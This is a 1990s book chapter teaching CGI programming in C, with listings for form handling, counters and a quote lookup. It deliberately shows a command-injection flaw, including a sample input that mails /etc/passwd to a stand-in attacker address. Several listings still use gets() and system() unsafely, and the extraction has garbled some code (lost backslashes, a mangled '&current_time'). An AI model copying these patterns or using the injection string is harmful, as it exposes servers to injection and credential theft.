Ch 20 -- Developing CGIs with C and C++
UNIX Unleashed, Internet Edition
- 20 -
Developing CGIs with C and C++
by David B. Horvath, CCP
The purpose of this chapter is to introduce you to creating CGI-BIN scripts using
the C and C++ programming languages. If you have read the preceding chapters (Chapter
18, "Developing CGIs with Shells," and Chapter 19, "Developing CGIs
with Perl"), you will notice duplication; part of this duplication is on purpose
to provide a means of comparison. Some of the duplication is a side effect because
it is much easier for you to see the information in front of you instead of having
to refer back to another chapter constantly.
This chapter shows you
- When to use C/C++ programs
- How to deal with security and data concurrency issues
- How to get started with CGI-BIN programs
- How to send responses back to the user with dynamic HTML
- How to handle forms
- How to retrieve data with CGI-BIN programs
Why Use C/C++ for CGI Support?
You can write CGI using a number of tools including compiled languages such as
C or C++, Perl, or even shell scripts in Korn and C shell. You can pick or avoid
a particular tool for a number of reasons. Many people prefer to code their CGI in
C/C++ because of the advanced programming capability the languages provide. In addition,
these programs put a much smaller load on the server system because they are compiled
(the biggest performance advantage) and may share code between invocations
(copies of the program running simultaneously).
When you're using a compiled program, as long as you can ensure the security of
the code or binary executable, you will have fewer security problems than if you
use a shell scripting language. Remember that CGIs run as though you signed onto
the server and executed the script interactively. In fact, one of the best debugging
methods is to run your CGIs while signed on the server interactively.
Coding your CGI in C/C++ presents some disadvantages. First, CGIs take longer
to develop and debug than writing in Perl or shell scripts. Second, although C and
C++ are considered portable languages, you have to make changes when you move to
another server. The final reason may be forced on you: the Internet service provider
(ISP) or administrator of your server might not let you use compiled programs.
Security and Data Concurrency Issues
You must code your program carefully to prevent input data from being executed
if you use the system() function.
The simple CGI program shown in Listing 20.1 has a serious security problem. This
very simple program performs a simple task: It just mails a few lines of text to
the user based on an e-mail address.
Listing 20.1. Simple mail-sending CGI program.
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
int main ()
{
char address[128], fname[128], command[128];
FILE *tempfile;
strcpy(fname , tmpnam(NULL));
tempfile = fopen (fname, "w"); /* create temporary file */
if (tempfile == NULL) /* error - didn't create file */
{
printf("Internal failure #1 please report %dn", errno);
exit (1);
}
fprintf(tempfile, "Thank you very much for caring about our causen");
fprintf(tempfile, "this letter is just to tell you how much wen");
fprintf(tempfile, "really think you are wonderful for caring.nn");
fprintf(tempfile, "Sincerely,nn");
fprintf(tempfile, "Jane Doe, Executive Thankern");
fclose (tempfile);
gets(address); /* read in email address */
sprintf(command, "mail -s "thanks for caring" %s < %sn",
address, fname); /* create the command */
system (command); /* execute command */
remove (fname); /* clean up */
exit (0);
}
If the user types in the proper e-mail address, everything works fine. But if
the user decides to be difficult and enter the e-mail address as
myname@myaddress.com ; mail cracker@hiding.out < /etc/passwd
then your password file is sent to cracker@hiding.out.
CAUTION: The example shown in listing
20.1 does a number of things wrong. The most serious is that it uses an array with
a fixed length to contain the user's e-mail address. Make sure that your arrays can
contain all the data that might be entered. The user could cause this program to
fail by entering a very long e-mail address (longer than 127 characters). You should
verify the CONTENT_LENGTH and CONTENT_TYPE. You can also use CONTENT_LENGTH
with malloc() to dynamically allocate enough space to hold the string. Remember
to allow one extra byte for the null terminator character.
The other examples in this chapter make use of dynamic memory to ensure that the
data from the browser does not overflow!
NOTE: All listings are available on the
CD-ROM with names in the form lst20_nn.typ where nn
is the listing number (01 through 12) and typ is
the file type (htm, c, or txt). When working with the
examples, you have to change the filenames from the CD-ROM (or change the HTML code
to the lst20_nn.typ name). You may also have to change the
URLs when using them with your server.
The email address security problem may be an issue no matter which tool you're
using to develop CGI scripts. See Chapter 19, "Developing CGIs with Perl,"
for more examples and suggestions regarding security.
Normally, when you run a program interactively, you are the only one using it
in your directory (even if it is a shared executable). When you have a CGI, though,
many people can be executing it concurrently in your directory. Instead of being
able to create temporary files with dummy names (temp1, temp2,
and so on), you now must make sure the names are unique. A good technique is to use
the process id because it is guaranteed to be unique by the operating system. Using
the tmpnam() function is another method, but you also can experience problems
with it under heavy simultaneous use.
In addition, you must be careful when writing to or updating a file. When a program
is executed serially (one at a time), this process is easy. When it is executed concurrently,
then you have a problem. One of the biggest advantages to using a C/C++ program over
shell scripts is the capability to lock a record or file. Most systems have functions
that support file locking. Database management systems often support the capability
to lock individual records (or rows).
When a shell script (or program) is executed infrequently, you can use lock files
(a special file used to denote that a specific file is currently in use). But when
there could be hundreds or even thousands of file accesses per second, this approach
becomes unworkable--due to processing load and probability that multiple processes
will be able to change the file (failure of the lock mechanism).
If you do not want to code for file locking, you can use a number of forms handlers
that send the form contents as mail to the user instead of trying to append the users'
input data to a file.
The Minimal Program
At a minimum, your program needs to send back the content type to the Web browser
and should send back something meaningful (after all, a CGI program is executed to
do something).
You should talk to your local administrator or ISP for more information on exactly
how to code your URLs and where to place your files when using CGI programs. The
ISP I use requires CGI programs go in the subdirectory cgi-bin under public_html.
When I reference the CGI, I mention only the cgi-bin directory.
Listing 20.2 shows sample HTML to execute a simple CGI program. The query string
is hard-coded to provide an example. Listing 20.3 shows the CGI program.
Listing 20.2. HTML: Executing a simple CGI Program.
<HTML>
<HEAD>
<TITLE> Test simple CGI Program</TITLE>
</HEAD>
<BODY>
<H2 ALIGN=CENTER> Test simple CGI program</H2>
<p>Click below to test the simple CGI program</P>
<ul>
<li><a href="/cgi-bin/simple?query=1"> Simple Program</a>
</ul>
</BODY>
</HTML>
Listing 20.3. C Program: Using simple CGI.
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
int main ()
{
char *env_value;
char *save_env;
time_t current_time;
printf("Content-type: text/htmlnn");
printf("C Program Versionn");
current_time = time(NULL); /* get current time */
printf("It is now %sn", ctime(¤t_time));
save_env = getenv("QUERY_STRING); /* get environment variable */
env_value = malloc(strlen(save_env) + 1);
if (env_value == NULL)
{
printf("Major failure; please notify the webmastern");
exit (2);
}
strcpy(env_value, save_env); /* save environment variable */
printf("The query is %sn", env_value); /* and print it */
printf("You are signed onto %sn", getenv("REMOTE_HOST"));
printf("Your IP Address is %sn", getenv("REMOTE_ADDR"));
fflush(stdout); /* force physical write */
exit (0);
}
Figure 20.1 shows the initial screen from the HTML in Listing 20.2 using the Netscape
Navigator Web browser. Figure 20.2 shows the output of the CGI program.
Figure 20.1.
Initial screen: Simple CGI program.
NOTE: In all of the figures, notice that
the activity indicator (the square postage-stamp-sized box near the upper-right corner
of the browser) shows the AT&T "World" logo instead of the Netscape
"N" logo because I use a version from the AT&T Worldnet service (the
software and the service are free).
Figure 20.2.
Output screen: Simple CGI program.
The URLs on the screen images in Figures 20.1 and 20.2 do not match what is shown
in the preceding HTML because I had to make some changes to get them to work with
my ISP.
The text generated by the CGI program does not contain any HTML or formatting.
As a result, it does not display very well, and no title appears on the top of the
screen. You need to add some HTML into the programs to get them to make more sense.
Listing 20.4 shows the addition of minimal HTML for the output to be interpreted
properly by the Web browser. Figure 20.3 shows the new result.
Listing 20.4. Improved simple CGI program.
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
int main ()
{
char *env_value;
char *save_env;
time_t current_time;
printf("Content-type: text/htmlnn");
printf("<html>n");
printf("<head>n");
printf("<title>Improved Simple Sample</title>n");
printf("</head> <body>n");
printf("<h1>This is a Heading</h1>n");
printf("<p> <pre>n");
printf("C Program Versionn");
current_time = time(NULL); /* get current time */
printf("It is now %sn", ctime(¤t_time));
save_env = getenv("QUERY_STRING); /* get environment variable */
env_value = malloc(strlen(save_env) + 1);
if (env_value == NULL)
{
printf("Major failure; please notify the webmastern");
exit (2);
}
strcpy(env_value, save_env); /* save environment variable */
printf("The query is %sn", env_value); /* and print it */
printf("You are signed onto %sn", getenv("REMOTE_HOST"));
printf("Your IP Address is %sn", getenv("REMOTE_ADDR"));
printf("</pre> </body> </html>n");
fflush(stdout); /* force physical write */
exit (0);
}
Figure 20.3.
Output screen: Improved simple CGI program.
The result in Figure 20.3 looks a lot better. You have some more information about
what you're looking at (title bar and heading), and the text does not run together.
Of course, this figure does not do too much except show you where I logged in
from, my IP address, and the current time when I did the example. You can perform
much more useful tasks with a CGI program, including getting data from forms, incrementing
counters, and performing database lookups.
Forms
Detailed information about forms is provided in Chapters 15, "HTML--A Brief
Overview," and 17, "Introduction to CGI."
One of the more common uses for CGI programs is processing the data received from
HTML forms. The form method is coded as POST, and the action is the URL
for your program. The user enters data through a Web browser into the form described
in HTML, and when he or she clicks the Submit button, your program is executed.
Listing 20.5 shows HTML containing a form that executes a CGI program when a user
clicks the Submit button. Listing 20.6 shows the CGI program.
Listing 20.5. HTML: Form processing example.
<html>
<head>
<title> Forms </title>
</head>
<body>
<FORM METHOD="POST" action="http://www.name.com/cgi-bin/forms1">
Choose your option
<SELECT NAME="Selection list" SIZE=1>
<OPTION>First
<OPTION SELECTED> Default
<OPTION>Third
</SELECT> <br>
<INPUT TYPE="HIDDEN" NAME="NotSeen" SIZE=10>
Enter Text Here <INPUT TYPE="TEXT" NAME="Text Input" SIZE=20 MAXLENGTH=25>
Enter Your Password here
<INPUT TYPE="PASSWORD" NAME="Pswd" SIZE=6 MAXLENGTH=12> <br>
Pick one of the following <br>
<INPUT TYPE="RADIO" NAME="Radio" VALUE="First"> First <BR>
<INPUT TYPE="RADIO" NAME="Radio" VALUE="Second" CHECKED> Second <br>
Pick from of the following <br>
<INPUT TYPE="CHECKBOX" NAME="check" VALUE="First"> First
<INPUT TYPE="CHECKBOX" NAME="check" VALUE="Second" CHECKED> Second
<INPUT TYPE="CHECKBOX" NAME="check" VALUE="third" CHECKED> Third <br>
Enter your comments <TEXTAREA NAME="Comments" ROWS=2 COLUMNS=60>
</textarea>
<p>When done, press the button below <br>
<INPUT TYPE="Submit" NAME="Submit This Form">
<INPUT TYPE="Reset" NAME="Clear">
</FORM>
</body>
</html>
NOTE: You have to change the following
line from Listing 20.5 to match the name of your ISP and the proper format required:
<FORM METHOD="POST" action="http://www.name.com/cgi-bin/forms1">
You also have to change the URLs of all examples in a similar manner.
Listing 20.6 is similar to the one shown in Listing 15.14 in Chapter 15, "HTML--A
Brief Introduction." Note that it includes several different types of elements--hidden,
text, password (which does not echo the typed characters on the screen but does send
the password as plain clear text, not encrypted), radio buttons, check boxes, text
area (scrollable text window), and finally the Submit button itself. The ordering
is entirely up to you, but the buttons generally go on the bottom.
Listing 20.6. Form processing example.
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
void urlencxlate(char *out_line, const char *in_line);
int main ()
{
char *env_value, *content_type, fname[128],
*in_line, *out_line, command[128];
time_t current_time;
int content_length;
FILE *tempfile;
printf("Content-type: text/htmlnn");
printf("<html>n");
printf("<head>n");
/*
Handle error conditions or send success message to user
*/
content_length = atoi(getenv("CONTENT_LENGTH"));
env_value = getenv("CONTENT_TYPE");
content_type = malloc (strlen(env_value) + 1);
if (content_type == NULL)
{
printf("<title>Error Occurred</title>n");
printf("</head> <body>n");
printf("<p>Major failure #1; please notify the webmastern");
printf("</p> </body> </html>n");
fflush(stdout);
exit (2);
}
strcpy(content_type, env_value);
if (content_length <= 0)
{
printf("<title>Error Occurred</title>n");
printf("</head> <body>n");
printf("<p>The form is empty; please enter some data!n");
printf("<br>n");
printf("Press the BACK key to return to the form.n");
printf("</p> </body> </html>n");
fflush(stdout);
exit (0);
}
else if (strcmp(content_type, "application/x-www-form-urlencoded") != 0)
{
printf("<title>Content Error Occurred</title>n");
printf("</head> <body>n");
printf("<p>Internal error - invalid content type. Please reportn");
printf("<br>n");
printf("Press the BACK key to return to the form.n");
printf("</p> </body> </html>n");
fflush(stdout);
exit (0);
}
/*
Create temporary file for mailing
*/
strcpy(fname, tmpnam(NULL));
tempfile = fopen (fname, "w"); /* create temporary file */
if (tempfile == NULL) /* error - didn't create file */
{
printf("Internal failure #1 please report %dn", errno);
printf("</p> </body> </html>n");
fflush(stdout);
exit (1);
}
in_line = malloc (content_length + 1);
if (in_line == NULL)
{
printf("<title>Error Occurred</title>n");
printf("</head> <body>n");
printf("<p>Major failure #2; please notify the webmastern");
printf("</p> </body> </html>n");
fflush(stdout);
exit (2);
}
out_line = malloc (content_length + 1);
if (out_line == NULL)
{
printf("<title>Error Occurred</title>n");
printf("</head> <body>n");
printf("<p>Major failure #3; please notify the webmastern");
printf("</p> </body> </html>n");
fflush(stdout);
exit (2);
}
gets(in_line); /* read in form data */
current_time = time(NULL); /* get current time */
fprintf(tempfile, "%sn", ctime(¤t_time));
urlencxlate(out_line, in_line); /* convert */
fprintf(tempfile, "%sn", out_line);
fclose(tempfile);
printf("<title>Form Submitted</title>n");
printf("</head> <body>n");
printf("<h1>Your Form Has Been Submitted</h1>n");
printf("<p> Thank you very much for your input, it has been n");
printf("submitted to our people to deal with... n");
printf("<br>n");
printf("Press the BACK key to return to the form.n");
printf("</p> </body> </html>n");
/*
Send the form data via mail; clean up the temporary file
*/
sprintf(command, "mail -s "form data" someuser@somecompany.com < %sn", fname);
system (command); /* execute command */
remove (fname); /* clean up */
exit (0);
}
void urlencxlate(char *out_line, const char *in_line)
{
int in_length, loop_index, out_index;
in_length = strlen(in_line);
for (loop_index = 0, out_index = 0; loop_index < in_length;
loop_index++)
{
if (in_line[loop_index] == '%') /* needs translation */
{
/* if your system uses signed characters, use strtol(). */
/* You may want to apply validity
checking to the individual characters */
out_line[out_index] = strtoul(in_line+loop_index + 1, NULL, 16);
out_index++;
loop_index += 2; /* skip rest of hex value */
}
else if (in_line[loop_index] == '+') /* make a space */
{
out_line[out_index] = ' ';
out_index++;
}
else if (in_line[loop_index] == '&') /* make a newline */
{
out_line[out_index] = 'n';
out_index++;
}
else /* just copy */
{
out_line[out_index] = in_line[loop_index];
out_index++;
}
}
out_line[out_index] = ' '; /* null terminate string */
}
Figure 20.4 shows the completed form (before pressing the Submit button) using
the Netscape Navigator Web browser. Figure 20.5 shows the output of the CGI program
(the feedback to the user).
Figure 20.4.
Completed form.
Figure 20.5.
Output screen: Form response.
You should look at one more thing: the e-mail sent to someuser@somecompany.com.
Listing 20.7 shows the e-mail message without the headings.
Listing 20.7. E-mail sent by CGI programs.
Mon Apr 28 20:03:50 EDT 1997
Selection list=First
NotSeen=
Text Input=this is a text box where
Pswd=123456789
Radio=Second
check=First
check=third
Comments=My comments went here
what do you think of that?
Submit This Form=Submit Query
The program uses the function urlencxlate() to translate &
characters to <newline>, + to <space>, and
the hexadecimal characters to the equivalent value. The escaped characters (transmitted
as hexadecimal values) are translated. Be careful what characters are translated
as the translation could cause the input line to be interpreted as a command to the
shell itself.
Instead of mailing a file to someone at the company and forcing that person to
deal with it, you could insert the data into a relational database or append it to
an existing file (after locking the file to prevent other people from accessing it).
You can also set up forms to perform database queries--the user types some key
information (product number, ISBN, Social Security Number, flight number, and so
on), and the program looks up information based on that key. The program might fill
in and display a form (providing the capability for the user to change it) or just
create dynamic HTML that displays the results (inquiry or reporting only).
Counters
Although it may not be obvious from looking at HTML source code, counters are
usually implemented through the use of CGI programs. The program is executed when
the Web browser tries to load the image connected to it. The program receives any
query string attached to the URL (usually a string to uniquely identify the page
where the request came from) and returns the incremented counter.
The most common form for the counters is as a gif or jpeg image. The image looks
like an automobile odometer or a digital display. In the HTML, it is referenced as
follows:
<IMG SRC=1787/counter.gif?unique_string">
The CGI program then must return an image in the proper format for the Web browser
to process and display. This process is rather difficult to perform in a shell script,
so the examples display a counter on its own HTML page when you click the link.
Listing 20.8 shows the HTML used to trigger the counters. Listing 20.9 shows the
CGI program.
Listing 20.8. HTML: Counter example.
<html>
<head>
<title> Counters </title>
</head>
<body>
<p>A counter is designed to keep track of something. You can trigger
a counter by describing it as am image (most browsers load images)
or explicitly by clicking on a link.
</p>
<p>You would use a link like <
img src=1787/count1?up" >
to update a counter. Typically, some unique string is used as the query
to split things up.
</p>
<br>
<p>You can also have a reference like this
<a href="http://www.name.com/cgi-bin/count1?up">
to update a count.</a></p>
<br>
<p>You can also have a reference like this
<a href="http://www.name.com/cgi-bin/ count1?recall">
to recall an existing count.</a></p>
</body>
</html>
Listing 20.9. C Program: Counter example.
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
int main ()
{
char *env_var;
int adder, counter_value;
FILE *counter_file;
printf("Content-type: text/htmlnn");
printf("<html>n");
printf("<head>n");
/*
Handle options
*/
env_var = getenv("QUERY_STRING");
if (strcmp(env_var, "up") == 0) adder = 1;
else if (strcmp(env_var, "down") == 0) adder = -1;
else if (strcmp(env_var, "recall") == 0) adder = 0;
else
{
printf("<title> An error occurred </title>n");
printf("<body> <p> someone goofed with this counter query is %sn",
env_var);
printf("</p> </body> </html>n");
fflush(stdout);
exit (0);
}
printf("<title>Counter</title>n");
printf("</head> <body>n");
/*
Open counter file
*/
/* perform file locking here and wait a reasonable time
(5 seconds) if lock is not available */
counter_file = fopen ("counter_file", "r+");
if (counter_file== NULL) /* error - didn't open file */
{
printf("Internal failure #1 please report %dn", errno);
printf("</p> </body> </html>n");
fflush(stdout);
exit (1);
}
fscanf(counter_file, "%d", &counter_value); /* read in counter */
counter_value += adder; /* update counter */
fseek(counter_file, 0L, SEEK_SET); /* reset file */
fprintf(counter_file, "%05.5dn", counter_value);
fclose (counter_file);
printf("%05.5dn", counter_value);
printf("</p> </body> </html>n");
fflush(stdout);
exit (0);
}
The counter_file begins with the value 00000. It should be set
up so that the owner has read and write access to it; otherwise, it cannot be changed.
Figure 20.6 shows the screen for the initial counter example using the Netscape
Navigator Web browser. Figure 20.7 shows the output of the CGI program (increment
counter). Figure 20.8 shows the output for recalling the previous value (do not increment).
Figure 20.6.
The screen for the initial counter example.
Figure 20.7.
Output screen: Increment counter.
Figure 20.8.
Output screen: Recall counter.
I executed the increment counter link several times before capturing the screen
image images shown in Figures 20.7 and 20.8 just to demonstrate that the value would
be higher than the starting point.
A danger to this example is that no file locking is performed. The method varies
depending on the operating system or version of UNIX you're using. It is glossed
over with this comment:
/* perform file locking here and wait a reasonable time
(5 seconds) if lock is not available */
Multiple users could be executing this example concurrently, and it has no file
locking code. Multiple users might see the same count because the first one does
not write out the new value before the next one reads it.
This code is far from perfect and is not complete (it does not deal with things
such as gif images), but it does give you an idea of what is involved.
Special Processing
Data and database lookups or searches are common uses for CGI programs. This section
contains a simple example that searches through a text file for a specific record
number based on a random number. In a real application, the key information would
not be a (pseudo-) random number, it would be something to identify the data on the
desired record. You could use the same technique--sequential searching. A better
method is to use a database or at least have a program that can use indexed access
to a file.
Listing 20.10 shows the HTML used to trigger the quote lookup program. Listing
20.11 shows the quote lookup program.
Listing 20.10. HTML: Data lookup example.
<html>
<head>
<title> Database access </title>
</head>
<body>
<p>You can click
<a href="http://www.name.com/cgi-bin/datab1">
here</a> to see a witty (?) saying</p>
</body>
</html>
Listing 20.11. Quote lookup example.
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
int main ()
{
char input_line[128];
int record_number, loop_index;
FILE *saying_file;
printf("Content-type: text/htmlnn");
printf("<html>n");
printf("<head>n");
printf("<title>Witty Saying (database lookup)</title>n");
printf("</head> <body>n");
/*
No options, just get saying from file.
*/
/*
Open counter file
*/
/* File locking not really needed - read only access */
saying_file = fopen ("saying.file", "r");
if (saying_file== NULL) /* error - didn't open file */
{
printf("Internal failure #1 please report %dn", errno);
printf("</p> </body> </html>n");
fflush(stdout);
exit (1);
}
srand(time(NULL)); /* init pseudo-random number */
record_number = rand()%10; /* get and scale random number */
for (loop_index = 0; loop_index <= record_number; loop_index++)
fgets(input_line, sizeof(input_line), saying_file);
printf("<h2>Saying Number %d</h2>n", record_number);
printf("<p>n");
printf("%sn", input_line);
printf("</p> </body> </html>n");
fflush(stdout);
fclose (saying_file);
exit (0);
}
Listing 20.12 shows the file that contains the sayings: saying.file.
It has a total of 11 lines, and each quotation (or message that tells what line it
is on) exists on only one line.
Listing 20.12. Contents of saying.file.
This is the first line.
If at first you don't succeed, try cheating (Kirk did).
To Err is human, to forgive divine.
This is the fourth line
Murphy was an optimist!
sixth line
Now is the time for all good men to come [ccc]
to the aid of their country. -- John F. Kennedy
Eighth line
Ninth Line
Tenth line
eleventh line
Figure 20.9 shows the screen for the initial saying lookup example using the Netscape
Navigator Web browser. Figure 20.10 shows the output of the CGI program.
Figure 20.9.
The screen for the initial saying lookup example.
Figure 20.10.
Output screen: Saying lookup.
I freely admit that this example is a simple version of the fortune program
found in /usr/games on many UNIX systems. The idea was to show a simple
example that would not take up 10 pages or more.
The processing using the method is relatively slow because each record up to and
including the one you want must be read. Multiply that number by multiple users and,
suddenly, the load becomes excessive. A better example would allow for multiple lines
per saying and would have an index file that points to the individual saying in the
data file. The index file would have fixed length records (allowing the use of fseek()
instead of a read loop) and allow the use of fseek() into the actual saying
file.
Summary
In this chapter, you learned when and how to use C/C++ programs for CGI-BIN programming.
The chapter covered dynamic HTML, sending responses to users, handling forms, and
retrieving data. Compiled programs are not always the proper tool to use for CGI-BIN;
look at the other chapters in this section for more information about shell scripts
and Perl as CGI-BIN languages.
For more information about writing C and C++ in general (for CGI-BIN or other
purposes), you should look at Chapter 6, "The C and C++ Programming Languages."
©Copyright,
Macmillan Computer Publishing. All rights reserved.
|